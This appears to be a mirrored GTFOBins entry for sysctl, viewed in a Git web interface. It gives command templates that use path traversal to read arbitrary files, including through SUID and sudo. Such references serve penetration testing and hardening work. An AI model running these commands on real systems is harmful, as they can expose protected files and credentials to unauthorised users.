1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/sysctl.md

17 lines
447 B
Markdown
Raw Normal View History

2020-06-11 18:10:35 +02:00
---
functions:
file-read:
- description: It reads data from arbitrary files when combined with a path-traversal. The -p argument can also be used in place of -n.
- code: |
LFILE=file_to_read
sysctl -n "/../../../../../$LFILE"
suid:
- code: |
LFILE=file_to_read
./sysctl -n "/../../../../../$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo sysctl -n "/../../../../../$LFILE"
---